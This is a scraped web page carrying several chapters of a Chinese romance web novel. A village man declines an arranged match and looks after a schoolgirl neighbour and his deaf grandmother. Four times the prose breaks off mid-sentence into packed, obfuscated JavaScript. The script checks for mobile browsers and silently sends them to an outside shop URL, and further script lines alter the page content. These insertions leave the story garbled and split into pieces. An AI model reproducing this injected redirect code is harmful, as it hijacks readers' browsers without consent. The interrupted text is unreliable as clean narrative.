l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372070|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一会儿,不耽误不耽误。” 她用手悄悄捅了捅秀梅。 秀梅这才回过神,自觉失礼:“……啊,对。” “你们点菜了吗?想吃什么就点,我请客。” 梁北方将菜单递过去。 趁着点菜的功夫,秀梅又暗瞟梁北方好几眼。 他的样貌,她头一次回乡就相中了。又高又帅,身材也好。有的男人有他这个身高,体型都不太好,微驼背,而梁北方不同,脊背挺直,肩宽腰细,露出的手臂线条流畅。 五官立体,眉眼突出,说话带着笑,谁看了都喜欢。 秀梅拒绝了家里安排的婚事,非要来和他相亲。 “我点了一份鱼,两个小菜,刘婶也点了,你看看还有没有要加的?”秀梅把菜单推过去。 “差不多了,点多了浪费。”梁北方又加了一份小菜,合上菜单递给服务员。 上菜还有一段时间,刘媒婆满脸堆笑,滔滔不绝:“……秀梅这闺女,不是我夸,真是咱看着长大的。勤快,懂事,家里家外的一把好手!她爹在供销社,人脉广,以后啊,北方你想做点小买卖,或者卖点山货,那都方便!” 秀梅红了脸,小声嗔道:“刘婶……” 梁北方没什么表情点了点头。 “北方也是个实在孩子,人也俊,家里就他一个,稳重能干,年轻又有力气,以后啥不能置办起来,是不,北方?” 梁北方“嗯”了一声。 场面有点冷,刘媒婆赶紧给秀梅使眼色。 秀梅抬头,声音细细的:“听刘婶说,你现在在家种地?” “还有一些承包项目,有活儿就出来干。” “那……挺辛苦的。”秀梅说。 “都这样。” 又是一阵沉默。只有服务员过来上菜的动静。 刘媒婆急得在桌子底下直跺脚,脸上还得挂着笑:“那个……北方啊,听说陈书记家那闺女,现在吃饭都归你管?你这人心善,会疼人的。” 提到何青云,梁北方面色柔和了几分。“陈书记忙,我这顺手的事。” 秀梅似乎对这个话题有点兴趣,眼神里多了点好奇:“那城里来的学生娃,好相处不?听说挺娇气的?” 梁北方眉头微皱,下意识维护道:“她挺好的,安静,听话,学习也用功。” 秀梅“哦”了一声,没再追问。 菜上齐了,清蒸鲈鱼,油焖大虾,红烧豆腐,小炒包菜。刘媒婆热情地招呼着:“别光说话,吃菜,都吃菜。” 梁北方拿起筷子,动作规矩。秀梅也小口吃着。两人几乎没什么交流,只听着刘媒婆在旁边努力地找着话题。 吃完饭,梁北方去结了账,刘媒婆眼看两个年轻人之间还是那副不温不火,隔着层纱的样子,心里急得跟猫爪似的,将秀梅拉到一边低声问:“你觉得他人咋样?男人嘛,一开始冷淡些后面熟了就好了,北方人不错,你也多跟他找点话题。” 秀梅一羞:“知道了刘婶,我……也挺想和他一起过日子的。” 正巧梁北方结账回来,刘媒婆忽然一拍大腿:“瞧我这记性!我差点忘了,我跟裁缝铺的王大姐约了今天下午去量衣裳料子的!这都到点儿了……北方啊,你带着秀梅在镇上走走逛逛,我得先走了,跟把时间就给你们小年轻,好生待人姑娘昂!” 刘媒婆抓起布包,脚底抹油般下楼走了,走得又快又急,留下梁北方和秀梅在饭店门口面面相觑。 秀梅抿了抿唇,似乎下了很大决心,抬眼看向梁北方:“梁大哥,我是个直性子,有话就直说了……你觉得,咱俩能成吗?” 她问得直接,反到让一直平静得梁北方抬起眼,认真看向她。 秀梅被他看得心慌,但还是坚持着和他对视:“刘婶说你好,我信。见了面也觉得你人实在。咱们年纪也合适,家里也都知根知底的,你,你是怎么想的?” 梁北方清了一下嗓子,深吸一口气。 “刚在刘媒婆在,我怕有别人会让你尴尬,现在她不在,我也就明说了。” “秀梅姑娘,你很好。” “但是我们不合适。”他认真道。 11. 老婆本 秀梅急了,刚才梁北方虽然话不多,但是有问必答,有时候还会反问她,看着对自己初印象挺好,怎么突然就说不合适。 她也顾不上矜持:“哪里不合适了?” “这……”梁北方也卡壳了,他也说不上来。吃饭的时候秀梅说过,以后要是家里地里的活,她都能帮着干,这已经是明确了对他有好感,想和他过日子了。 可是他心里却平静得没有一丝波澜。 明明他也是想娶媳妇儿的,老婆本还攒着。 他没明说。“秀梅姑娘,你值得更好的人,没必要把一生搭在我身上。我的条件也不好,房子要修,地要伺候,只怕你要一起吃苦。” “我们可以一起担啊。”秀梅急切地说,“我不怕吃苦,种地洗衣,我都可以帮你分担的,我不在乎你家啥情况,我们可以一起努力啊!” 她继续道,越说越激动:“而且我们都没怎么相处,哪能那么快就有感觉?怎么就知道一定不合适?感情不都是处出来的吗?我爹我娘结婚前也就见过两面……” 梁北方叹口气:“你这样的条件,大把男人供你挑,我就一粗人,也没读过几个书,咱们真的不合适,我不想耽误你。” 他看着她微红的眼眶,心里也有些发闷。他知道自己伤了人,心里歉意更浓,但同时也更加清醒。他知道,此刻任何一点模棱两可的回应,都可能给她不该有的希望,造成更深的伤害。 秀梅点点头:“我知道了,梁大哥,你是个实在人,不骗我。那你能再请我吃个甜品吗?就,就当是谢谢你今天来这一趟,也谢谢你把话说清楚。” 她还是不想就这样稀里糊涂结束。 “要是之后我去村里看我表姨家的时候,也能顺便看看你吗……就当普通乡亲走动走动。”她越说声音越小,眼神却紧紧盯着梁北方的反应,“说不定,说不定多接触接触,了解多了,你就改变主意了呢?” “去吃蛋糕吧。这事儿以后再说。”梁北方淡淡道。 “就……那家吧。”秀梅随手一指。两人一前一后,停在一家看起来明亮崭新的甜品店外。 她知道这事儿没有以后了。 走进甜品店,凉爽的甜香扑面而来,店里客人不多,多是年轻人,两人找了靠角落的位置,梁北方对秀梅道:“你点吧,挑你喜欢的,我就不吃了。” 秀梅“嗯”了声,很快点好,两人之间也沉默下来。 – 另一条街上,何青云和晏书慧在路上逛街,一路上吵吵闹闹,好不快活。 “书慧你几点的车回家啊?” 晏书慧抬表看时间:“六点,还有一个小时呢。”她见对面有家甜品店,香滋滋的蛋糕香飘来,甜品脑袋瞬间启动。 “青云!我们去吃蛋糕好不好?” “你不是刚说你要减肥吗?”何青云笑着打趣。 “今天不算,明天再开始。去嘛去嘛,你陪我吃!” 晏书慧迫不及待拉着何青云过去,何青云无奈,就着她的手走进店铺。 晏书慧拿着菜单,叽叽喳喳地讨论想吃什么,何青云点了一份巧克力绵绵冰,听着边上人的纠结扫视着哪里还有空位。 “青云,你说我是吃草莓的还是蓝莓的呢,我两个都很想吃唉……” 店里为了吸引年轻顾客,在桌上放了一大捧鲜花,店内也装饰地花花绿绿,照片墙,氛围灯应有尽有,透过盆栽稀疏的枝叶缝隙,何青云看到了斜对面角落里的卡座。 梁北方就坐在那里。 他面前坐着一个穿着红格子上衣的姑娘,桌上摆着一块精美的蛋糕。 带相亲姑娘来吃甜品了吗。 何青云心里瞬间涌上一股酸酸麻麻的感觉,又被她强压下去。 要不要打招呼呢?会不会很尴尬? “……青云?何青云!”晏书慧的声音将她拉回现实。“你怎么啦?怎么魂不守舍的,我刚叫你几遍你都没听见唉。” “我没事,怎么了?” 如果他看见自己就打招呼,如果他没看见自己就当自己也没看见他,何青云做出选择。 “我点了超大份芒果绵绵冰和一份提拉米苏,还有两杯柠檬水,我们快去找座位吧!” 正值下午,店内人说多不多说少不少,恰好还剩一张桌子。 就在梁北方斜对面。 何青云抿抿唇,慢吞吞地走过去。 她一点儿都不想在这个时候碰上梁北方。 甜品很快上来,绵绵冰还冒着冷气,淋了一圈炼乳,看起来十分诱人。晏书慧已经开心地吃了起来,可何青云却突然没了食欲,心神不定地搅拌着柠檬茶里的冰块。 斜对面,梁北方和秀梅之间依然有一搭没一搭地聊着天,他的视线原本落在桌上,似乎感受到了什么,他忽然抬起头,目光掠过店内的人群—— 然后毫无预兆地,隔着几米的距离,与何青云仓皇抬起的眼眸撞了个正着。 他看见何青云立马低头假装没看见他,忍不住轻声笑了笑。小姑娘和朋友逛街,不想遇见大人的心思他能理解,于是也转过头去。 喝完了柠檬茶,何青云打算去上个厕所,她站起来往厕所方向走去,正巧路过梁北方他们的座位。 这时,一个约摸四五岁的小孩在店里奔跑,撞到了正端着两杯热奶昔路过的服务员,服务员视线被托盘阻挡,一个不察,“哐当”一声,奶昔泼洒出去,大部分溅在何青云衣服上。 何青云呆愣在原地,她今天穿了豆芽绿色连衣裙,胸口处瞬间染上大片污渍,滴答滴答流淌进内衣里。 胸前一片滚烫,晏书慧立马站起,立刻去拉何青云。 “谁家小孩不看路啊!家长呢?” 她气汹汹地叉腰怒道,那小孩眼见事情不对,一溜烟跑了出去,没人来管。 秀梅衣角也被溅到一点,她轻叫一声,立马站起来,看到自己衣服上的污渍,眉头紧锁,脸上满是心疼和不悦。 这衣服是她专门买来相亲的,用了她大半个月工资,料子都是喊裁缝专门定制的,可不便宜。 她用纸巾小心擦,忍不住自言自语:“这果汁颜色深,不知道能不能洗掉,我这也第一次穿……” 服务员连连道歉,晏书慧正在气头上:“现在怎么办,那个臭小孩跑了,你们店得出主意啊,我们吃得好好的,被泼一身奶昔……” 何青云看着自己胸前一大片都湿透了,黏在皮肤上一点也不好受,她手紧攥着裙边,脑子里全是尴尬和想要逃离的想法。 她能感觉到梁北方的目光看向这里,她此刻只想把自己藏起来,或者立刻消失,别让他看见自己狼狈的样子。 正想着,肩头一沉,一件还带着温热体温的夹克披在她身上,梁北方扶住她,声音放软。 “青云,没事吧?” 何青云头埋得更低,小声嗫嚅:“我没事。” 每次都是在最狼狈的时候遇见他,每次都问她有没有事。 晏书慧注意到这个身型高大的男人,警惕道:“你是谁?你认识青云?” 梁北方这才意识到眼前复杂的局面,解释道:“我叫梁北方……是青云邻居,这是秀梅。”又转向秀梅,“这是陈书记女儿,何青云。” 秀梅打量着眼前很学生气的女孩,睫毛黑而长,面带桃红,活脱脱美人胚子。她关切道:“妹妹身上都湿了,得快点回去换衣服。” 服务员还在道歉,说自己赔偿以及她们消费免单,何青云摆摆手,说不用她负责,然后四人出了甜品店。 晏书慧拉着何青云的手。 “青云,我的车马上也要开了,我得先走了,你快点回去换衣服,别感冒了。” “知道啦书慧,你也回家吧,晚了你妈妈会担心的。”何青云轻轻说。 “嗯!”晏书慧一步三回头,“我下次有时间再来找你!青云下次见!” 何青云弯弯眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372071|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着冲她挥挥手。 “下次见。” 另一边,梁北方也和秀梅道了别。 他快步走到何青云身边,“走吧妹妹,快点回家换衣服,要不然身上也难受。” 何青云披着他的外套,衣服下摆和袖子很长,就像小孩偷穿大人衣服,显得有些滑稽。 梁北方自然地拉过她的手,将袖口卷上去,刚好卡在手腕位置,然后接过她的书包。 “我帮你背吧。” “今天我和秀梅……”梁北方挑起话头,被何青云抢先开口。 “今天谢谢你,又给你添麻烦了。”语气客气又礼貌。 “不麻烦,应该的。” 又是“应该的”。何青云心里苦笑,邻居哥哥照顾妹妹,当然是“应该的”,那他出去相亲,也是他这个年纪“应该的”。 “刚才那个,秀梅姑娘,是刘婶介绍的。” “哦。” 何青云脚步乱了,他干嘛跟她提起这个,她又没问。 “那你们……” “没成,我和她说清楚了,不合适。”梁北方侧头看了她一眼,“本来也没想成。” 为什么要和她说这个? 何青云的心脏不受控制地狂跳起来,她慌忙移开视线。他是什么意思?是在解释吗? 不能多想,她告诫自己,他总会有别的相亲。总会遇见合适的人。 可是,她居然真的感觉到了一丝窃喜。 何青云绞着手,假装不在意:“你不就想娶媳妇儿吗?我听宋均山说你还攒了老婆本,我看秀梅姐挺合适的。” 梁北方乐了:“宋均山这小子些都告诉你了?” “嗯。” “娶老婆可以先放放,我现在首要任务就是照顾妹妹,妹妹最重要。”他说得没个正形,还笑着打趣,“放心,哥有数,照顾妹妹还犯不着动用老婆本。” 何青云懒得跟他扯,忽而像想到什么。“梁北方,今天这事不能……” “不能跟陈书记说,是吧?”梁北方自然而然接过话,笑笑,“知道了,替你保密。那前面有家店,去买件衣服换了,哥给你请客。” 很快到了小店,梁北方让何青云自己挑,他则站在门口。何青云匆匆选了件衬衫和裤子,钻进试衣间换上。 “选好了?” “嗯。” 何青云把换下来的脏衣服胡乱塞进店员给的袋子里,梁北方走过去付了钱,动作自然。 “走吧,我们回家。” 他一手背着书包,一手提着衣服袋子,何青云踩着他的影子跟在后面。 “刚才挑衣服挑得挺快,我还以为你得选半天。” “……反正能穿就行。” “那不行。”梁北方回头瞥她一眼,“给我妹妹买,怎么能随便。下回带你去镇上买件好看的。” “谁是你妹妹。”何青云闷闷的声音传来,“不要你买,这件就很好。”梁北方低笑一声,没继续逗她,转而说:“行,你说好就好。不过呢——” “……干嘛?” “你这能穿就行的标准,可让我这钱花得有点不踏实。”他晃了晃手里的衣服袋子,“东西买了,总得听个响。你起码得说句‘特别合适,谢谢哥哥’吧。” 何青云微微偏头:“……欠着吧,反正你是应该的。” 梁北方脚步顿一下,随即笑出声来,肩膀颤抖:“行,那就记着,哥哥等你慢慢还。” – “袋子先放我家?” 看到熟悉的大坡,梁北方问,不等何青云回答,他把书包递过去,“明天来取衣服,快回去吧。” 直到看着她走进家门,梁北方才慢慢走回家。 今天发生太多,他累得不行,一回家瘫在沙发上,手臂横在眼睛上,挡住刺眼的灯光。 比起娶老婆,他确实更需要照顾好妹妹。 哪怕这个妹妹,一直不肯叫他一声哥哥。 12. 奶奶 隔天何青云取回衣服,裙子被仔细洗过,飘着淡淡的皂荚香,和梁北方身上的味道一样。 何青云将衣服认真叠好放在衣柜里,没再穿出门。 立夏过后,天色开始变得晴朗起来,阳光愈发浓郁,从树缝中落下,在地上晕出斑驳的光影。 周三轮到何青云这组值日,放学后她和组里其他人分配了打扫任务,宋均山和陈宝娇今天家里有事先走一步。 打扫卫生很快,何青云洗了手背上书包离开。 妈妈早上让她放学回来去村里街边商店买几个电池回来,家里灯泡坏了,叫维修师傅得花钱,而且上午人都不在家,陈红索性晚上自己安。 何青云不紧不慢地晃悠过去,心里因还想着今天课上英语听力错了几个而闷闷不乐。 村子边缘的街道相对冷清,商铺不多,大都是些老旧的居民楼,何青云找到商铺,很快买好了电池。 正要走的时候,她看到前面围了一圈人,不知道在大声嚷嚷着什么,她有些好奇,也凑上去看热闹。 “我说你个老太婆居然敢光天化日之下偷东西!?你要脸吗?” “……” “你要么把我的水果还给我,要么付钱,快点,不然我就要报警了!!” “……” “哎哟你聋啦?啊?” 何青云被挤到前面,看清楚了眼前的乱象。 一个花白头发,身形佝偻的老婆婆,手里抓着两个鲜艳的红苹果,眼神呆呆地看着某个地方,不聚焦,嘴巴微张,好像有口水要留下来。 她面前站这个五大三粗的男人,一手提刀一手叉腰,气得脸红脖子粗,嘴里叽里呱啦骂着,突然伸手推了老人一下。 老人被一把推倒地上,像是突然醒了神智,着急忙慌地比划一通,不住呜咽着。 男人看不懂,皱着眉:“你瞎比划什么?我让你付钱,付钱听不懂吗?这苹果都被你抓破了,我还怎么买?” “……” 周围人看不下去,纷纷指责。 “这老人看样子……不会说话哩。” “怕是耳朵也不好使,你为难一个老东西干吗?” “我为难?”男人冷哼一声,抓起地上的一兜子苹果,“我刚才吃饭去了没注意,她把我所有的苹果都咬出一个洞,你觉得她可怜,你帮她赔啊!” 没人敢说话了,谁都不想惹上麻烦。 老人还在一个劲儿地比划,没一个人看懂。 这时,人群中窜出来一个小小的身影,护在老人面前,小声道。 “你……你这苹果多少钱?我买了。” 男人瞥一眼来人,“你是她孙女?行啊,我这精品红富士,八块一斤,这老太婆咬烂了五斤多苹果,你给五十就行。” 何青云没吭声,默默从书包里掏出一张一百递给男人。 男人找钱的功夫,她扶着老人起来,又拍去她衣服上的灰。 周围人见事情解决,也不再围观。 “妹妹,这是你奶奶?” “……嗯。” “哎哟哟,那你可得叫你大人看好了,你这老人又聋又哑,很容易出事的。”好心路人提醒道。 何青云不知道怎么解释,只好老老实实点头。 找完钱,老人还在激动地冲男人比划,男人一脸蒙圈,何青云抬眼认真看,然后说:“老板,她……我奶奶的意思是,她是聋哑人,刚才可能犯了老年痴呆,神志不清,给你道歉了。” 男人挠头:“这样子啊,我刚才也确实急了点,对不住啊妹妹。” “没事。”何青云拎着那兜苹果,扶着老人离开。 看了眼已经黑透的天色,又看了眼老人蹒跚的步态和迷茫的眼神,她实在不放心 “奶奶,您家在哪儿,我送您回家吧。” 意识到老人听不见,她又放慢语速重新说了一遍。 老人仔细辨认着她的嘴唇,发出不明的啊啊声。 何青云又看着她的比划,应声道:“您带我去吧,我不着急回家的。” 老人的家住在山上,上山的路是窄窄的土路,蜿蜒曲折,杂草丛生。老人走得慢,何青云就耐心地扶着她,一步步往上走。 老人一路上比划不停,何青云有一搭没一搭地回应,慢慢拼凑出一些信息: 奶奶一个人住在山上的老木屋里,生活能自理,偶尔会犯老年痴呆,会像今天一样跑下山做出一些不同寻常的举动。 她还有个孙子,有时候会给她送饭,陪她聊聊天,或者修补老房子,补充一些生活用品。 走了约摸半个多小时,山林深处出现了一栋孤零零的旧木屋,打扫得干干净净,屋前一小片空地种着些葱蒜。 何青云见到了地方,打算和奶奶说一声离开,但是奶奶硬要拉她进屋坐坐,老人盛情难却,何青云却犯了难。 这荒山野岭,独栋小木屋,刚认识的奶奶,和她一个手无缚鸡之力的高中生。 怎么想怎么害怕。 她想挣脱:“不,不用了奶奶,我得回家……” 老人手劲很大,拽着她要往屋里坐。 何青云快吓哭了,她连连摆手:“奶奶,我真的要回家了,我妈妈还在家里等我……” 两人推脱之际,何青云听见山坡拐角处有人走上来的脚步声,由远及近。 一道手电筒的光照在屋前空地上,随即一个熟悉的声音传来。 “奶奶,您怎么站在外头——” 声音戛然而止。手电光晃了晃,照在何青云有些苍白的脸上。 “妹妹?”梁北方惊讶的声音响起,快步上前,“你怎么在这儿?” 紧绷的神经放松了,何青云长长舒了口气,这才感觉到手腕被攥得生疼,低头一看,已是一圈明显的红痕。 梁北方目光落下,眉头微蹙。他上前轻拍了拍奶奶的手背,又指指屋里,比了个简单的手势。 奶奶嘴里“啊啊”两声,颤巍巍地进了屋。 手腕一松,何青云下意识用另一只手揉了揉,动作有点委屈。 梁北方瞥见:“攥疼了?奶奶有时候手劲是没轻没重,不是故意的。”他很自然地把手里的保温盒换到另一只手,这只手拉着何青云,“先进屋吧,站外面也累。” 何青云被他拉着乖乖进屋坐下。 奶奶把果盘里的水果软糖一股脑塞在她手上,接着又是一通比划,眼神热切。 何青云认真道:“……我知道了奶奶,我会吃的,你不用再给我买。” 梁北方在一旁看得稀奇,挑了挑眉:“妹妹,你看得懂?” “嗯,还挺好懂的。” “嚯,我们青云真厉害,我和奶奶相处这么多年,还经常连蒙带猜呢。” 原来他就是奶奶的孙子,真是阴差阳错。 何青云剥开软糖,含在嘴里,将刚才发生的事简单说了一遍。 梁北方听着,神色慢慢严肃起来,对还在吃饭的奶奶比划:“奶奶,您是不是又偷偷把药吐了?”动作无奈。 奶奶动作一顿,低头专心吃饭。 梁北方拿她没辙,叹了口气,对何青云解释:“老年痴呆的药,她嫌苦,有时候会偷偷吐掉,一说她又装没看见。”他搓了把脸,像是下定决心。 “奶,这回真不能由着您了。要不还是下山跟我住吧?这老屋冬天漏风夏天闷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372072|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我也不放心您一个人在这,请的婶子也不能天天陪着您,您……” 奶奶立刻摇头,比划的幅度很大,意思明确:不去,就在这儿,哪里都不去。 梁北方沉默下来,片刻,他才抬眼看向何青云。 “青云,今天多亏你了,不然……” “没事,”何青云轻声道,“碰巧而已。” 梁北方看了眼窗外浓重的夜色,站起身:“走吧,我先送你回家,再晚陈书记该着急了。” 何青云也站起来,对奶奶比了个“我回家了”的手势,奶奶抬起头,依依不舍地“啊”了声。 远处村庄零星亮起几盏灯火,梁北方打着手电,何青云跟在他侧面,两人沿着土路慢慢往下走。 “奶奶一个人,没有人照顾怎么办?” “我请了婶子,有空了就过来照顾照顾。”梁北方道,“我有时候也上来看看,奶奶不肯下山,我只能多跑几趟了。” “你不担心吗?如果还发生这样的事……” 他声音在夜色里显得平和,“担心啊,但人老了,总有自己的固执。有时候我也生气,但一想到这屋有她和爷爷的回忆,舍不得,也放不下,又觉得算了,她高兴就好。” 何青云“哦”了声,走了一段,她又问:“那你爸妈呢?他们不来看看奶奶吗?” 梁北方看她一眼,见她一脸认真样,没忍住揉了揉她的头发。 “他们来不了了。我大一那年,他们在工地上出事,都没了。”他语气平常。 没想到是这样,何青云被他揉得头一歪,心也塌下去一块,她声音很小:“……对不起梁北方,我不知道……” 梁北方不避讳:“没事儿,都过去好久了。”他晃了晃手电筒,“我回来处理完后事,看着奶奶一个人没人照顾,家里的田也荒着,就没再回学校。” 那真的只是很久以前的事了。 他说得简短,可何青云听着,却觉得胸口堵得难受。她忽然明白了他身上那种介于少年和成人之间的感觉从何而来。 “……但是你把奶奶照顾得很好唉。” 何青云忽然说。 梁北方侧过半边脸,黑夜中看不清表情,只听得他轻轻笑了声:“现在知道夸我了?” 被他这么一说,刚才那点沉重的气氛立刻搅散,何青云被他笑得脸一热,嘟囔:“才没有……” “行行行,没有没有。”梁北方语气里带着笑意,收回手,“那何青云同学,今天英勇保护奶奶还破财,是不是该夸?” “那也不用夸……”她嘀咕,低头看着自己的鞋尖,“总不能看着奶奶被欺负。” “为什么不夸?妹妹做得这么棒,我当然要夸,奶奶今天要是没有你,不知道会被为难成什么样。” 何青云抿抿嘴,心里有些高兴,嘴上却说:“你之前不也帮过我吗?礼尚往来。” “记这么清楚?”他看她,眼底有浅浅的光,“那我以后是不是得多帮帮你,好让你多记得我点?” “谁要你帮了……”何青云小声顶回去,嘴角却不自觉弯了弯。 夜风轻轻吹过路边的草丛,沙沙作响。远处传来几声狗吠,衬得山路格外安静。 “梁北方。”她忽然叫他的名字。 “我在呢,怎么了?” “你以后,要是需要帮忙,可以叫我。”何青云说得认真,“比如给奶奶送东西或者陪奶奶聊天什么的都可以,我周末都有空。” 梁北方低头看她,手电光下,女孩的眼睛亮亮的,柔软而坚定。 “行啊。”他心头一暖,应下来。 得到许可,何青云往他身旁近了近,脚步变得轻快。 13. 全校第一 轻快。 何青云觉得这就是她和梁北方现在的关系。 在一块儿轻快,不在一块儿也轻快,聊天轻快,不聊天一起发呆也轻快。像春日柳梢头那一缕抓不住的风,像雨后晴空偶然飘过的一片云,没什么分量,却让人不由自主的想跟着它飘一会儿。 梁北方越来越把自己当哥哥做派,并且对此乐此不疲。何青云也从一开始的拘谨,渐渐敢还嘴了。 周日晌午,阳光正好,晒得人骨头缝都发酥。何青云热得瘫在沙发上不想动弹。 真的不懂,明明才五月底,怎么能热成这样。 “青云——” 妈妈在厨房里喊。 “干嘛呀妈妈?”何青云踩着拖鞋“哒哒”走过去,靠近厨房,眼睛一亮,“做什么好吃的了好香呀。” “尝尝。” 陈红夹一筷子塞进何青云嘴里。 外壳酥脆,内里软糯流心,蘸上的黄豆粉和红糖瞬间在舌尖爆开,口感绵密拉丝。 “好吃好吃!妈妈再给我夹一个!” 陈红满足她,又夹一个,递给她两个装满糍粑的瓷碗:“去,给你梁大哥分点去尝尝。” “好。” 何青云得令,端着两个碗顶着太阳出门。 “梁北方,你在家吗——?”还没进门,她就喊来喊去。 “汪汪汪——”八角听见她的声音,兴冲冲跑出来扑在脚边打转。 她没手去摸八角圆圆的脑袋,只能跺脚逗它玩。 梁北方从后院菜园出来,手上还沾着泥巴。见她来,他在裤腿上随意擦了擦手,接过碗好让她腾出手摸狗:“这是什么这么香?陈书记又做什么好吃的了?” 何青云蹲下来呼噜八角软乎乎的头,抬眼道:“妈妈做的糍粑,让我拿来说给你尝尝。可好吃了。” 梁北方也不客气:“行啊,那我拿走了。” “说好了啊,有一碗是给奶奶的。” 梁北方眉毛挑得老高,“才一碗?”他拖长了调子,眼里满是戏谑,“何青云同学,陈书记好不容易做一次好吃的,我天天给你做饭,你就分我一碗?” 何青云被他这故意找茬的样子弄得有点想笑,但又绷住了,淡淡道:“那你还要不要?” “要要要,当然要。妹妹特意送来的,别说一半,就是一口,哥哥我也得感恩戴德地吃啊。”他凑近,语气玩笑,“妹妹给的东西,毒药我都吃。” “油嘴滑舌。”何青云轻“哼”一声。 “哪有。”梁北方邀她进来,“进来和八角玩玩?” “不了,这段时间快考试了,妈妈要我复习呢。” “考试要紧,那我晚上给你熬蘑菇汤喝。读书费脑子,营养得跟上。” “好。” – 何青云说到做到。接下来的日子,她当真把自己按在了书桌前认真复习起来。 她底子一般,五百二十分左右的水平,放在城里只是中等,但在大麦村,因为环境差异,几次科任老师组织的考试,她居然冒尖,成绩都还不错,成为了大家口中的“全班第一”。 又一次政治小测,老师讲完一个经济学难题,随手在黑板上出了两道选择题当堂检验。题目有些弯绕,干扰选项很多,教室里一片写字沙沙声。 何青云仔细读了两遍题干,排除掉干扰项,在纸上写下自己的答案。很快,老师开始核对。 “第一题选C的举手。” 稀稀拉拉几只手臂。 “第二题选B的?” 何青云犹豫了一下,还是举起了手。 老师目光扫过,在看她时微微停顿:“嗯,何青云同学两题都对了,何青云,你来讲讲你的思路。” 突然被点名,何青云耳根有点热,站起来尽量清晰地解释了自己答案选择的过程。 老师欣慰点头:“分析得很好,坐下吧。这个题目的知识点呢,串联了必修二和选修一,我们来看……” 下课铃响,何青云正准备趴下休息一会儿,旁边一个平时不太说话的女生凑了过来,手里拿着抄下来的题目,有点不好意思地问:“何青云,你刚才讲的第二个选项,那个‘市场调节’和‘宏观调控’的区别,能不能再跟我讲一下?” 何青云楞了一下,随即接过草稿纸:“哦,这里主要是看材料里强调的主体是谁……”她边说边拿笔圈,翻出书本知识点给女生看。 讲完,女生恍然大悟,连连道谢。 宋均山也转过来问,何青云便也耐心讲解。 她没想到,自己那些在原来学校被淹没在众多更优秀同学中的中规中矩的归纳和理解,在这里竟然能帮到别人。 她忽然觉得自己也很厉害。 原来当好学生的感觉是这样,她心里升腾起小小的骄傲来。 – 另一头,陈红忙得焦头烂额。 “李大哥,您再想想,那片坡地种玉米收成一直不好,改种山茶油树,头两年是没收益,可往后……” 电话那头的声音常常激动甚至粗鲁,陈红就一遍遍解释,声音哑了,就喝口水润润。 六月天艳阳高照,何青云坐在堂屋里纳凉,就靠一台小风扇吱呀呀地转。 “妈,你干嘛去?” 见陈红又要出门,何青云问。 “我去下溪湾那几户人家走访,你好好做作业,晚饭去梁大哥家。” “知道啦。” 下溪湾是大麦村最穷的几户人家聚居的地方,房子低矮破旧,路是崎岖的羊肠小道。陈红熟门熟路地拐进一家院子,一个佝偻着背的老汉正在修补农具。 “老根叔。”陈红扬声招呼,脸上堆起笑容。 老汉抬起头,脸上皱纹深刻,没什么表情:“陈书记又来了?”语气里有股淡淡的嘲讽味。 陈红也不介意,拉着一个小板凳坐下,开门见山:“老根叔,上次跟您说的,把屋后那块小水洼整一下,弄成一个小鱼塘养点稻花鱼的事,您考虑的咋样了?村里支部可以帮忙联系鱼苗,技术员也能来支持。” 老根叔手里动作没停,瓮声瓮气:“搞那个做啥子?费力气,我种点菜够吃就行。养鱼不要本钱啊,鱼死了咋办?卖不掉咋办?” “技术员会教怎么防病,销路村里也在联系镇上的饭店,可以先签个意向……”陈红耐心解释。 老汉摇头:“你们上头来的,想一出是一出,前年让种药材,结果呢价格跌的还不够惨?反正我不弄,谁爱养谁养去。” 陈红脸上的笑容有些发僵,但还是继续劝:“叔啊,情况不一样,这次是考察过的,你看……” “你走走走!别来找我了,我不弄就是不弄,你这书记怎么就听不懂话呢?” 陈红被赶出来,叹了口气,整理好文件夹继续朝下一户走去。 – 日子一天天过去,六月底,期末考试如约而至。 考试前一天傍晚,天色将暗未暗。何青云从学校出来,脑子里还在盘旋着近代史的时间轴。 她快步走到梁北方家,推门进去,暖意和香气扑面而来。堂屋里没人,八角从桌子底下钻出来,欢快地摇着尾巴蹭她的腿。 厨房里传来切菜声,何青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372073|199961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云走过去,倚在门框边。 梁北方背对着门口,正在切着一小把翠绿的葱花。他穿着件旧T恤,身上的围裙紧系腰身,勾勒出他窄劲的腰。 